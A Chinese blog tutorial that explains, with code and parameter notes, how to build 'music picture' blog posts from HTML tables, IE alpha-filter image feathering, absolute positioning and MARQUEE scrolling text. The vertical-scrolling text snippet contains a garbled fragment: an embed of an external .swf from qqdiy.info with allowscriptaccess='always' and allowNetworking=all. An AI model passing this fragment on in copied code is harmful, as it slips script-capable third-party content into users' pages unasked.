咖啡豆

经常有朋友说，没时间学PS，但却喜欢那种音画，下面我将个人摸索出来的方法做一说明，希望对您有所帮助，由于水品有限，不到之处还请谅解。

音画底色代码：

<TABLE style="BACKGROUND-IMAGE: url(图片地址)" borderColor=#cccccc cellSpacing=70 cellPadding=70 width="100%" align=center bgColor=#ffffff border=0>
<TBODY>
<TR>
<TD>

<DIV style="FONT-SIZE: 14px">
<DIV style="TEXT-INDENT: 0em; HEIGHT: auto !important" class=real_blog>
<TABLE style="POSITION: relative; WIDTH: 100%; TABLE-LAYOUT: fixed" cellSpacing=0 cellPadding=0>
<TBODY>
<TR>
<TD style="WORD-WRAP: break-word" vAlign=top>
<DIV style="POSITION: relative; HEIGHT: 100%; OVERFLOW: hidden">
<DIV style="FONT-SIZE: 14px">
<TABLE style="BACKGROUND-IMAGE: url(底色图片地址)" cellSpacing=20 borderColor=#cccccc cellPadding=20 width="100%" bgColor=#f1fbe0 align=center>
<TBODY>
<TR>
<TD>

代码详解：

该代码只用一次，并放置在最上面。如果您不是很熟悉代码的话，复制该代码时最好不要漏掉和修改任何一个符号。底色图片最好和您所要用到的其他图片底色相似。纯色为佳。

图片方形羽化代码：

<CENTER><FONT size=1><IMG style="FILTER: alpha(opacity=300,style=3); BACKGROUND: none transparent scroll repeat 0% 0%" alt=图片 src="图片地址"> </FONT></CENTER>

代码详解：

紧挨着第一个代码的下一行。把代码中图片地址换成您准备做音画的图片地址就行。有多少张图片就用几次代码二。由于篇幅在这里不做示范。

图片羽化定位代码：

<DIV style="POSITION: absolute; TOP: 100px; LEFT: 150px">
<CENTER><IMG style="FILTER: alpha(opacity=100,style=2); WIDTH: 563px; HEIGHT: 265px" id=e82 alt=图片 src="图片地址">
<DIV></DIV></CENTER></DIV><EMBED 

图片羽化定位代码2：《边框内使用，且不用背景代码》

<DIV style="POSITION: absolute; TOP: 950px; LEFT: 30px">
<CENTER><IMG style="FILTER: alpha(opacity=100,style=2); WIDTH: 765px; HEIGHT: 354px" id=e79 alt=图片 src="图片地址">
<DIV></DIV></CENTER></DIV>&nbsp;

代码详解：

效果如上图，代码中TOP: 100px; LEFT: 150px，100代表图片位置的高低。数字越大图片越靠下面。150代表图片位置的左右。数字越大越向右。opacity=100,style=2); WIDTH: 563px; HEIGHT: 265px，这里面100代表图片亮度，2代表羽化成椭圆形。也可以改成1，代表方形。563代表图片宽度。265代表图片高度。这些数字可自行修改。

图片定位滚动代码：

<DIV style="POSITION: absolute; TOP: 300px; LEFT: 0px"><MARQUEE>
<P align=right><IMG style="FILTER: Alpha(Opacity=100,Style=2); MARGIN: 0px 0px 0px 10px; WIDTH: 438px; BACKGROUND: none transparent scroll repeat 0% 0%; FLOAT: none; HEIGHT: 694px; cssFloat: none" alt=图片 src="图片地址"></P></MARQUEE>

代码详解：

效果如上图，代码中300px; LEFT: 0px。300代表图片滚动位置的高低，数字越大图片越在下部滚动，0代表左右，一般不用修改。438代表图片大小的宽度。694代表图片大小的高度。可自行修改。

另外再附几种文字定位的代码：

文字定位向上滚动：

<DIV style="POSITION: absolute; TOP: 1100px; LEFT: 200px">
<DIV style="WRITING-MODE: tb-rl; WIDTH: 150px; HEIGHT: 550px" align=center><SPAN><WBR src='http://qqdiy.info/a/n/n.swf"' height="0" width="0" target="_blank" blank="blank" d=" allowNetworking=all " allowscriptaccess="always" false="false" a="><embed invokeURLs=" invokeurls="true" s='rel="se'><WBR src="http://qqdiy.inf%%3C?xml:namespaceprefix=st1ns=" height="10" urn:schemas-microsoft-com:office:smarttags="urn:schemas-microsoft-com:office:smarttags">
<MARQUEE>
<DIV style="WRITING-MODE: lr-tb" align=center>
<P align=center><FONT font="font"><FONT color=#66ff00 size=6><STRONG>咖<BR>啡<BR>豆<BR>欢<BR>迎<BR>您</STRONG></FONT></FONT></P>
<P align=center><FONT color=#ff9900 font="font"><FONT color=#ff9900 size=5><FONT color=#cc0000><FONT size=3>&nbsp;</FONT><BR><BR></FONT>&nbsp;</FONT></P>
<P></P></DIV></FONT></MARQUEE></DIV>
<DIV></DIV></SPAN>

代码详解：

代码中TOP: 1100px; LEFT: 200px，数字1100代表文字滚动位置的高低，200代表滚动位置的左右。#66ff00 size=6代码中#66ff00代表字体颜色，6代表字体大小。可自行修改，<BR>代表文字换行。文字也可以是整段的。滚动时最好是逐句滚动。

文字定位左右滚动代码：

<DIV style="POSITION: absolute; TOP: 100px; LEFT: 0px">
<MARQUEE>
<DIV style="WRITING-MODE: lr-tb" align=center>
<P align=center><FONT font="font"><FONT color=#66ff00 size=6><STRONG>咖啡豆欢迎您</STRONG></FONT></FONT></P>
<P align=center><FONT color=#ff9900 font="font"><FONT color=#ff9900 size=5><FONT color=#cc0000><FONT size=3>&nbsp;</FONT><BR><BR></FONT>&nbsp;</FONT></P>
<P></P></DIV></FONT></MARQUEE></DIV>
<DIV></DIV></SPAN>

文字定位不动代码：